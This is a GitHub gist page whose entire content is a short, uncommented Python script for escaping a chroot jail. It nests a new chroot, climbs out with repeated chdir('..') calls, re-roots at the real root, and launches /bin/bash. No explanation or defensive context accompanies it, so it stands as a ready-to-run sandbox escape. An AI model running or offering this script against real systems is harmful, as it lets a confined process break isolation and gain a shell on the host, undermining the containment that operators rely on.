Skip to content

Instantly share code, notes, and snippets.

@FernandoCelmer
Created October 16, 2022 23:59
Show Gist options
  • Save FernandoCelmer/138fc47b0d0fda1d4b8637beb4038f4f to your computer and use it in GitHub Desktop.
Save FernandoCelmer/138fc47b0d0fda1d4b8637beb4038f4f to your computer and use it in GitHub Desktop.
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment